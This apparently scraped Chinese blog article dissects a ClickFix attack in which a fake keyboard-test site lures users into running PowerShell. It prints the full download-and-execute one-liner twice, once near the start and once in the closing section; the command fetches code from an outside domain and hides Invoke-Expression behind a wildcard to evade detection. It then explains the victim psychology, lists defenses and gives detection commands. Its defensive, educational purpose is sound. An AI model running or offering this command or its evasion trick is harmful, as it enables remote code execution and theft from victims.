news 2026/8/29 18:08:58

假装测键盘,实则夺命:一次 ClickFix 攻击的深度剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
假装测键盘,实则夺命:一次 ClickFix 攻击的深度剖析

摘要:本文以一个真实案例入手,深度拆解一种名为ClickFix的新型社会工程攻击手法——攻击者伪装成"键盘测试"网站,诱导用户在 PowerShell 中执行恶意命令。文章从命令逐字符拆解、攻击链全貌、心理学操纵手法、MITRE ATT&CK 映射、防御策略五个维度展开分析。


一、事件回顾:你只是点了一个链接

某天,你在网上浏览时点开了一个链接。页面跳转到一个看起来像"键盘测试"的网站,提示你按几个键来"验证你不是机器人"。

看起来无害,对吧?

但如果你按照页面的指示操作——你的电脑已经被感染了。

以下就是那个被诱导执行的命令(请勿执行):

powershell-c"$a=irm 'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create();$p.AddCommand((gcm *voke-E*)).AddArgument($a)|Out-Null;$p.Invoke()"

这不是什么"键盘测试",这是一次精心设计的ClickFix 攻击


二、命令拆解:每一个字符都在犯罪

让我们逐段拆解这条命令,看清攻击者到底在做什么。

第一步:下载恶意载荷

$a=irm'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc'
  • irmInvoke-RestMethod的别名——一个合法的 PowerShell 命令,用于发送 HTTP 请求。
  • 这一行的含义是:从shonenpowerup.cfd/dLEFpQRqOihwX1Kgc下载一段内容,存入变量$a
  • 下载的内容可能是任意代码——可能是 shellcode、可能是另一个 PowerShell 脚本、也可能是加密的恶意载荷。域名.cfd是一个廉价的通用顶级域名(常被攻击者批量注册用于 C2 服务器)。

第二步:创建一个新的 PowerShell 进程

$p=[PowerShell]::Create()
  • 通过 .NET 的System.Management.Automation.PowerShell类,创建一个全新的 PowerShell 实例
  • 这个新实例与当前会话隔离,目的是绕过某些只监控父进程的安全工具。

第三步:动态解析命令(反分析关键一步)

$p.AddCommand((gcm*voke-E*))
  • gcmGet-Command的别名。
  • *voke-E*是一个通配符模式,匹配到的是Invoke-Expression——PowerShell 中最危险的命令之一。
  • 为什么要用通配符?因为如果直接写Invoke-Expression,很多安全工具(EDR、杀软、日志审计系统)会在命令行中直接检测到这个关键字并拦截。用通配符匹配,在静态分析中几乎无法被正则规则捕获

第四步:执行

$p.AddArgument($a)|Out-Null$p.Invoke()
  • 将下载的内容($a)作为参数传给Invoke-Expression,然后调用执行。
  • Invoke-Expression会把传入的字符串当作代码直接执行——无论那是什么。

总结:完整攻击链

用户点击链接 → 网页提示操作 → 用户在终端执行命令 → PowerShell 从远程服务器下载恶意代码 → 动态解析 Invoke-Expression(绕过静态检测) → 在隔离进程中执行恶意代码 → 机器沦陷

从用户的角度看:我只是"验证了一下键盘"。
从攻击者的角度看:一次完美的远程代码执行(RCE)。


三、攻击心理学:为什么你会中招?

这种攻击的高明之处不在于技术——技术其实非常简单。高明之处在于它对人类心理的精准操纵。

1. 制造"问题",同时提供"解决方案"

这是 ClickFix 攻击的核心心理学模型:

  • 网站先让你看到一个"问题"(比如"请验证你不是机器人")
  • 然后提供一个看似合理的"解决方案"(“请按 Win+R,粘贴以下命令”)
  • 你的大脑会自动进入"解决问题"模式,而不是"我正在执行一段未知代码"模式

这就像有人告诉你"你的门锁坏了",然后递给你一把钥匙——你不会去验证这把钥匙到底开的是谁的门。

2. 伪装成权威

攻击页面通常模仿 Cloudflare、Google、微软等大厂的验证界面,利用了人们对这些品牌的默认信任。看到熟悉的蓝色按钮和验证动画,大脑会自动降低警惕。

3. 制造紧迫感

“验证超时将被限制访问”、“请在 30 秒内完成验证”——这种时间压力让人来不及思考,更来不及去验证命令的内容。

4. 混淆技术细节

那条 PowerShell 命令对普通用户来说就像天书:

  • irm不是Invoke-RestMethod的全称
  • gcm *voke-E*看起来完全不像Invoke-Expression
  • 方括号、分号、管道符……这一切都在制造"这很专业/合法"的假象

四、技术全景:ClickFix 攻击家族

你遇到的这个案例并非孤例。ClickFix 攻击自 2023 年底开始出现,到 2024-2025 年已成为最活跃的社会工程攻击手法之一

已知变种

变种伪装形式载荷投递方式
假 Cloudflare 验证“Verify you are human”剪贴板劫持 + Win+R
假键盘测试“Press keys to test”直接诱导执行 PowerShell
假文档错误“OneDrive 文档加载失败”"点击修复"按钮复制命令
假 Windows 更新“Windows 需要更新验证”假 BSOD 页面

常见载荷

根据 Proofpoint、Seqrite、Kaspersky 等安全厂商的报告,ClickFix 攻击常投递以下恶意软件:

  • Lumma Stealer:信息窃取器,窃取浏览器密码、加密货币钱包、会话 Cookie
  • DarkGate:远程访问木马(RAT),支持键盘记录、屏幕截图、文件操作
  • Matanbuchus:加载器,用于投递后续阶段的恶意载荷
  • AutoHotkey 木马:利用 AHK 脚本语言执行恶意操作,体积小、隐蔽性强

MITRE ATT&CK 映射

阶段技术ATT&CK ID
初始访问鱼叉式钓鱼(社会工程)T1566
执行用户主动执行T1204
执行PowerShell 命令解释器T1059.001
执行MSHTA 代理执行T1218.005
混淆动态命令解析T1027
持久化注册表/启动项T1547

五、防御策略:如何保护自己

个人用户

  1. 永远不要在终端中执行从网页获取的命令——无论它看起来多么"官方"。
  2. 遇到"验证"提示,直接关闭标签页。正规网站不会让你在终端里执行命令来验证身份。
  3. 启用 PowerShell 执行策略Set-ExecutionPolicy Restricted——至少让 PowerShell 在执行脚本前弹出警告。
  4. 安装并保持更新 EDR/杀软——现代安全工具已能检测此类攻击模式。
  5. 检查浏览器扩展:攻击者可能通过恶意扩展自动修改你的剪贴板内容。

企业/组织

  1. 网络层防护:拦截已知的恶意域名(如.cfd顶级域名可考虑在 DNS 层直接屏蔽)。
  2. 终端防护:配置 AppLocker 或 WDAC 限制 PowerShell 的使用场景。
  3. 日志审计:监控Invoke-ExpressionInvoke-WebRequestirm等高风险命令的调用。
  4. 安全意识培训:定期开展钓鱼模拟演练,让员工识别 ClickFix 类攻击。
  5. 剪贴板监控:部分 EDR 工具支持剪贴板内容审计,可检测恶意命令的注入。

技术检测

如果你怀疑自己已经中招,可以检查以下指标:

# 检查最近的 PowerShell 执行日志Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents 50|Where-Object{$_.Message-match"Invoke-Expression|Invoke-WebRequest|Invoke-RestMethod"}|Format-ListTimeCreated,Message# 检查可疑的计划任务Get-ScheduledTask|Where-Object{$_.Actions.Execute-match"powershell|cmd"}|Format-TableTaskName,TaskPath,@{N="Command";E={$_.Actions.Execute+' '+$_.Actions.Arguments}}

六、结语:技术无罪,人心可欺

回到开头那条命令:

powershell -c "$a=irm 'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create();$p.AddCommand((gcm *voke-E*)).AddArgument($a)|Out-Null;$p.Invoke()"

从技术角度看,它利用了:

  • PowerShell 的合法功能(Invoke-RestMethodGet-Command
  • .NET 的进程隔离机制(PowerShell::Create
  • 通配符匹配绕过静态检测(*voke-E*
  • 全内存执行不留磁盘痕迹

没有任何一步使用了什么"黑客技术"。每一个组件都是 Windows 的合法功能。攻击者只是把这些功能组合在一起,加上一层社会工程的外衣,就完成了一次致命的攻击。

这再次印证了信息安全领域的一句老话:

最脆弱的防火墙,是坐在键盘前的那个人。

我们花了大量精力构建技术防御体系,但 ClickFix 攻击提醒我们:攻击者的目标从来不是你的系统,而是你的注意力。当你按下 Win+R 的那一刻,所有的技术防线都形同虚设。

所以,下次当你在网上看到"请按 Win+R,粘贴以下命令"的时候——关掉它。


本文基于真实案例分析,所有恶意命令均已脱敏处理。文中提到的域名和载荷仅用于教育目的,请勿用于任何非法用途。

参考文献:

  1. Proofpoint, “Clipboard to Compromise: PowerShell Script Self-Pwn”, 2024
  2. Seqrite, “Fake CAPTCHA Delivers Lumma Stealer Malware”, 2024
  3. Krebs on Security, “This Windows PowerShell Phish Has Scary Potential”, 2024
  4. Doppel, “Fake CAPTCHA, Real Threat: New Campaign Uses PowerShell and AutoHotkey”, 2025
  5. MITRE ATT&CK, Enterprise Techniques
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/29 18:07:35

本地大模型部署实战:从Ollama量化到私有知识库

目前在技术社区里面,“本地大模型(Local LLMs)”已经成了一个绕不开的话题。很多人不再满足于只调用云端 API,而是希望在自己电脑、公司内网或服务器上直接跑一个开源模型,既能保护数据,又能按业务需求自由…

作者头像 李华
网站建设 2026/8/29 18:06:29

NTN OTA测试全解析:卫星终端与IoT设备的空口验证

先说我看到这条消息的第一反应:NTN OTA Testing Launched for 3GPP Mobile and IoT Devices,这个标题放在去年可能还是实验室里的小范围预研,放到现在,基本等于给终端厂商的发令枪——卫星接入不再是PPT概念,3GPP体系下…

作者头像 李华
网站建设 2026/8/29 17:59:04

Transformer策略网络在线蒸馏:为什么用反向KL而非正向KL?

这次我们不聊一个新模型仓库,也不聊一键启动 WebUI,而是把一个容易被忽略的数学细节拆开讲清楚:Transformer 策略网络在做在线策略蒸馏(Online Policy Distillation,OPD)时,为什么很多实现会把目…

作者头像 李华
网站建设 2026/8/29 17:54:14

个人 AI 记忆系统怎么搭:热记忆、温记忆和冷记忆

很多人说自己想要一个“记得我的 AI”,但真正开始记录之后,马上会遇到两个相反的问题:AI 什么都不记,下一次还要重复解释;AI 什么都记,几天后上下文里充满无关细节,真正重要的决定反而找不到。 …

作者头像 李华